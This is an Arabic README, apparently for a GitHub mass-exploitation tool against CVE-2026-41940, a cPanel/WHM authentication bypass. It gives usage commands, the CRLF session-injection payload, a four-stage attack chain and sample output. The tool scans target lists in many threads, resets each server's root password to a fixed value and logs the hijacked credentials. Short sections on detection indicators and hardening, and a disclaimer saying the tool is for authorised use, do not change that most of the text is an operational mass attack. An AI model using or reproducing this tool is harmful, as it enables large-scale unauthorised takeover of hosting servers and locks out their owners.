
ماسح ضخم وأداة استغلال جماعي لـ CVE-2026-41940 على cPanel/WHM، مصمم للتحقق الآلي من الأهداف وتنفيذ عالي السرعة متعدد الخيوط.
CVE-2026-41940 هي ثغرة حرجة لتجاوز المصادقة في WHM/cPanel تسمح للمهاجمين بتجاوز المصادقة والحصول على صلاحيات الجذر (root) على الخادم دون بيانات اعتماد صالحة. تستغل الثغرة حقن CRLF في آلية إدارة الجلسات لحقن معاملات جلسة ضارة.
توفر هذه الأداة قدرات الاستغلال الجماعي مع دعم تعدد الخيوط لاختبار أهداف متعددة في وقت واحد، مع كشف ذكي للنجاح وتصفية تلقائية للأهداف غير الصالحة.
| الميزة | الوصف |
|---|
| ✅ الاستغلال الجماعي | مسح واستغلال أهداف متعددة من ملف قائمة |
| 🚀 تعدد الخيوط | عدد خيوط قابل للتكوين لفحص أسرع (الافتراضي: 15) |
| 🔐 تغيير كلمة المرور تلقائياً | تغيير كلمة مرور الجذر إلى Jenderal92 عند نجاح الاستغلال |
| 🛡️ كشف ذكي للنجاح | كشف تلقائي لتنسيقات استجابة WHM API المتنوعة |
| ⚠️ تصفية أخطاء الترخيص | استبعاد الأهداف ذات أخطاء الترخيص غير الصالحة/غير القابلة للقراءة |
| 📝 مخرجات منظمة | حفظ النجاحات المؤكدة فقط بتنسيق domain:port|user|pass |
| 🛡️ دعم SSL/TLS | التعامل مع الشهادات الذاتية التوقيع تلقائياً |
| 🔄 إدارة الجلسات | استخراج الجلسات تلقائياً، حقن الكوكيز، ومعالجة الرموز المميزة |
| ⏱️ التحكم في المهلة | مهلة اتصال قابلة للتكوين (الافتراضي: 15 ثانية) |
| 🔍 فحص ما قبل الاتصال | التحقق من توفر المنفذ قبل محاولة الاستغلال |
| 📊 تقدم فوري | عرض تفاصيل التقدم لكل مرحلة استغلال |
pip install requests urllib3 futures
أو استخدم requirements.txt:
requests==2.27.1
urllib3==1.26.18
futures==3.4.0
# استنساخ المستودع
git clone https://github.com/Jenderal92/CVE-2026-41940.git
cd CVE-2026-41940
# تثبيت التبعيات
pip install -r requirements.txt
# جعل الملف قابل للتنفيذ (لينكس/ماك)
chmod +x CVE-2026-41940.py
أنشئ ملف targets.txt بهدف واحد لكل سطر:
https://target1.com:2087
target2.com
127.0.0.1:2087
http://target3.com:2087
target4.com
ملاحظة: المنفذ
2087هو منفذ WHM الافتراضي. إذا لم يُحدد، سيستخدم المنفذ 2087 تلقائياً. ستتم إضافة بادئة HTTP/HTTPS تلقائياً إذا كانت مفقودة.
python2 CVE-2026-41940.py targets.txt
# استخدام 5 خيوط متزامنة
python2 CVE-2026-41940.py targets.txt --threads 5
# استخدام 20 خيط للفحص الأسرع
python2 CVE-2026-41940.py targets.txt --threads 20
# تجاوز رأس Host لجميع الأهداف
python2 CVE-2026-41940.py targets.txt --hostname custom.host.com --threads 10
# تعيين المهلة إلى 30 ثانية للاتصالات البطيئة
python2 CVE-2026-41940.py targets.txt --threads 10 --timeout 30
| الوسيطة | الوصف | القيمة الافتراضية | مطلوبة |
|---|---|---|---|
list_file | ملف يحتوي على قائمة الأهداف (واحد لكل سطر) | - | ✅ نعم |
--threads | عدد الخيوط المتزامنة | 15 | ❌ لا |
--hostname | تجاوز رأس Host لجميع الأهداف | اكتشاف تلقائي | ❌ لا |
--timeout | مهلة الاتصال بالثواني | 15 | ❌ لا |
res.txt)يتم حفظ النجاحات المؤكدة فقط. تُستبعد الأهداف ذات أخطاء الترخيص، أو فشل تغيير كلمة المرور، أو مشاكل الاتصال تلقائياً.
التنسيق:
domain:port|root|Jenderal92
مثال للمخرجات:
www.example.com:2087|root|Jenderal92
127.0.0.1:2087|root|Jenderal92
target.example.net:2087|root|Jenderal92
لن يتم حفظ الأهداف التالية في res.txt:
Cannot Read License File)$ python2 CVE-2026-41940.py targets.txt --threads 10
CVE-2026-41940 bypass authentication - Mass Exploit
[*] Loaded 4 targets
[*] Starting exploit with 10 threads...
[*] Timeout: 15 seconds
[*] Note: http:// will be added automatically if missing
[*] ONLY targets with confirmed password changes will be saved to res.txt
[*] Targets with license errors, connection issues, or failed password changes will be EXCLUDED
==================================================
[*] Checking target: 127.0.0.1
Original input: 127.0.0.1
Normalized: https://127.0.0.1:2087
Port 2087: OPEN
Testing connection... OK (HTTP 200)
[0] hostname = example.com
[1] minting a preauth session...
session base = :d5nPe99Nx9HQdMu2
[2] sending the CRLF injection...
HTTP 307, leaked token = /cpsess0488087910
[3] firing do_token_denied to propagate...
HTTP 401, gadget fired
[4] verifying we're WHM root...
/json-api/version -> HTTP 200 {"version":"11.118.0.13"}
[*] attempting to change the root password
passwd -> HTTP 200
{
"data": {
"app": ["system"]
},
"metadata": {
"output": {
"raw": "Password for \"root\" has been changed."
},
"reason": "Password changed for user \"root\".",
"version": 1,
"command": "passwd",
"result": 1
}
}
[+] Password change confirmed (metadata.result=1)
[+] ✓ Root password successfully changed to 'Jenderal92'!
[✓] SUCCESS & SAVED: 127.0.0.1:2087
Saved to res.txt: 127.0.0.1:2087|root|Jenderal92
==================================================
[*] Scan complete!
[*] Targets with successfully changed passwords: 1 out of 4
[+] Results saved to res.txt
Successfully exploited targets (password changed to Jenderal92):
✓ 127.0.0.1:2087
يتكون الاستغلال من 4 مراحل رئيسية مع تحقق ذكي:
[1] minting a preauth session...
/login/?login_only=1 ببيانات اعتماد غير صالحةwhostmgrsession من استجابة الخادم,<obhex>[2] sending the CRLF injection...
Authorization: Basic يحتوي على حمولة ضارةroot:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1
\r\n) بحقن معاملات جلسة مزيفةLocation يحتوي على cp_security_token[3] firing do_token_denied to propagate...
/scripts2/listaccts باستخدام الكوكي المُعالجdo_token_denied في WHM[4] verifying we're WHM root...
/json-api/version للتحقق من الوصول على مستوى الجذر/json-api/passwd لتغيير كلمة مرور الجذر إلى Jenderal92{"metadata": {"result": 1}} (cPanel v11.118+){"status": 1} (الإصدارات الأقدم){"result": [{"status": 1}]} (تنسيق قديم)تقوم الأداة تلقائياً باستبعاد:
{"status": 0, "statusmsg": "Cannot Read License File"}| المؤشر | الوصف |
|---|---|
كوكي whostmgrsession شاذ | أنماط كوكي غير عادية دون مصادقة صحيحة |
| أحرف CRLF في الرؤوس | كشف تسلسل \r\n في رؤوس HTTP |
الوصول إلى /scripts2/listaccts | وصول غير مصرح به إلى هذا المسار |
كلمة المرور Jenderal92 | تسجيل دخول ناجح باستخدام كلمة المرور هذه تحديداً |
تسريب رمز cpsess | رمز أمان مرئي في رأس Location |
| فشل تسجيل الدخول يتبعه نجاح | POST إلى /login/?login_only=1 بكلمة مرور خاطئة، ثم وصول مميز |
# سجل وصول WHM
/usr/local/cpanel/logs/access_log
# سجل أخطاء cPanel
/usr/local/cpanel/logs/error_log
# سجل المصادقة
/var/log/secure
# رسائل النظام
/var/log/messages
تحديث WHM/cPanel إلى أحدث إصدار مصحح فوراً
/usr/local/cpanel/scripts/upcp
تفعيل المصادقة الثنائية (2FA) لجميع الحسابات، خاصة الجذر
WHM → Security Center → Two-Factor Authentication
تقييد الوصول إلى WHM باستخدام القائمة البيضاء للـ IP
WHM → Security Center → Host Access Control
مراقبة سجلات الوصول بانتظام للأنماط المشبوهة
tail -f /usr/local/cpanel/logs/access_log | grep -E "(listaccts|passwd|login_only)"
تغيير جميع كلمات المرور إذا كان هناك اشتباه بالاختراق
استخدام قواعد جدار الحماية لتقييد الوصول إلى المنفذ 2087
# السماح فقط للـ IPs الموثوقة
iptables -A INPUT -p tcp --dport 2087 -s YOUR_TRUSTED_IP -j ACCEPT
iptables -A INPUT -p tcp --dport 2087 -j DROP
# أو استخدام جدار الحماية CSF/LFD
csf -a YOUR_TRUSTED_IP
تنفيذ قواعد WAF لكشف محاولات حقن CRLF
مراجعات أمنية دورية لتثبيتات WHM/cPanel
echo "https://myserver.com:2087" > my_server.txt
python2 CVE-2026-41940.py my_server.txt --threads 1
python2 CVE-2026-41940.py all_servers.txt --threads 20 --timeout 20
python2 CVE-2026-41940.py servers.txt --threads 5 --timeout 45
python2 CVE-2026-41940.py servers.txt --hostname internal.cpanel.server --threads 10
# targets.txt يمكن أن يحتوي على تنسيقات متنوعة:
https://server1.com:2087
http://server2.com:2087
server3.com:2087
127.0.0.1:2087
10.0.0.50
# سيتم تطبيع الجميع تلقائياً
python2 CVE-2026-41940.py targets.txt --threads 15
المشكلة: استخدام Python 3 بدلاً من Python 2.7
الحل: هذه الأداة تتطلب Python 2.7 تحديداً.
# التحقق من إصدار Python
python2 --version # يجب أن يظهر Python 2.7.x
# التشغيل باستخدام python2 صراحةً
python2 CVE-2026-41940.py targets.txt
المشكلة: الهدف غير متصل أو جدار الحماية يمنع الاتصال
الحل:
# اختبار يدوياً
telnet target.com 2087
nmap -p 2087 target.com
curl -k https://target.com:2087
المشكلة: قد يكون الهدف مُحدثاً أو لا يعمل عليه WHM
الحل:
https://target:2087الحل: ضبط عدد الخيوط والمهلة
# لأهداف كثيرة مع اتصال جيد
python2 CVE-2026-41940.py targets.txt --threads 30 --timeout 10
# للاتصالات غير الموثوقة
python2 CVE-2026-41940.py targets.txt --threads 5 --timeout 45
ملاحظة: الأهداف التي تظهر Cannot Read License File تُستبعد تلقائياً من res.txt. هذا سلوك متوقع لأن تغيير كلمة المرور لن يعمل على تثبيتات WHM غير المرخصة.
يمكنك تعديل PAYLOAD_B64 لمعاملات جلسة مخصصة:
import base64
# حمولة مخصصة
payload = """root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1"""
encoded = base64.b64encode(payload.encode())
print(encoded)
تغيير كلمة المرور في دالة do_passwd() (السطر ~280):
{"user": "root", "password": "YourCustomPassword123"}
يمكن تعديل دالة do_passwd() لكشف تنسيقات استجابة WHM مخصصة:
# إضافة نمط مخصص في do_passwd()
if 'your_custom_success_string' in (r.text or '').lower():
return "success"
المساهمات مرحب بها! يرجى اتباع هذه الخطوات:
git checkout -b feature/AmazingFeature)git commit -m 'Add some AmazingFeature')git push origin feature/AmazingFeature)إذا كانت هذه الأداة مفيدة لأبحاثك الأمنية، يرجى منحها ⭐ على GitHub!
س: هل يمكن كشف هذه الأداة؟
ج: نعم، هذه الأداة تترك آثاراً في سجلات وصول WHM/cPanel. استخدمها فقط بتفويض مناسب ولاختبار أمني مشروع.
س: كم من الوقت يستغرق الاستغلال؟
ج: حوالي 5-15 ثانية لكل هدف حسب زمن استجابة الشبكة والخادم.
س: هل تتطلب صلاحية جذر مسبقة؟
ج: لا، هذا الاستغلال يعمل بالكامل من الخارج دون أي مصادقة.
س: هل تعمل هذه الأداة على ويندوز؟
ج: نعم، طالما تم تثبيت Python 2.7 وتكوينه بشكل صحيح.
س: هدفي يستخدم منفذاً مختلفاً، ماذا أفعل؟
ج: حدد المنفذ في رابط الهدف: https://target.com:2083 لـ cPanel أو أي منفذ مخصص.
س: لماذا لا يتم حفظ بعض الأهداف في res.txt رغم نجاح الاستغلال؟
ج: الأداة تحفظ الأهداف التي تم تغيير كلمة المرور فيها بنجاح فقط. الأهداف ذات أخطاء الترخيص، أو فشل تغيير كلمة المرور، أو مشاكل أخرى تُستبعد حتى لو نجح تجاوز المصادقة.
س: ما إصدارات WHM/cPanel المعرضة للخطر؟
ج: الإصدارات السابقة لتصحيح CVE-2026-41940. تحقق من سجل تغييرات cPanel للإصدار المُصحح.
Jenderal92 عند نجاح الاستغلال2087 (يُستخدم تلقائياً إذا لم يُحدد)res.txtres.txt جديداً (يتم حذف النتائج القديمة)
أنشئ لأغراض البحث الأمني التعليمي
استخدم بمسؤولية، كن قانونياً، كن أخلاقياً
⚠️ تحذير هام!
تم إنشاء هذه الأداة حصرياً من أجل:
- ✅ الأغراض التعليمية والبحث الأمني
- ✅ اختبار الاختراق المصرح به
- ✅ تقييمات الأمان على الأنظمة التي تملكها
- ✅ التحقق من الثغرات بإذن كتابي
الاستخدامات المحظورة تماماً:
- ❌ الوصول إلى أنظمة دون إذن صريح
- ❌ أي شكل من أشكال الأنشطة غير القانونية
- ❌ إجراءات ضارة أو التسبب في ضرر للأنظمة
- ❌ الوصول غير المصرح به إلى أي أنظمة حاسوبية
- ❌ انتهاك أي قوانين محلية أو ولاية أو اتحادية
لا يتحمل المؤلفون أي مسؤولية أو التزام تجاه أي سوء استخدام أو ضرر أو عواقب ناتجة عن استخدام هذه الأداة. باستخدام هذه الأداة، فإنك توافق على استخدامها فقط على الأنظمة التي تملكها أو لديك إذن كتابي صريح لاختبارها.
إذا تابعت، فإنك تقر بأن:
- لديك الإذن لاختبار الأنظمة المستهدفة
- أنت تفهم الآثار القانونية للوصول غير المصرح به
- ستلتزم بجميع القوانين واللوائح المعمول بها
- المؤلفون ليسوا مسؤولين عن أفعالك
المزيد من إخلاء المسؤولية يمكنك رؤيته على غلاف Jenderal92. يمكنك التحقق منه هنا !!!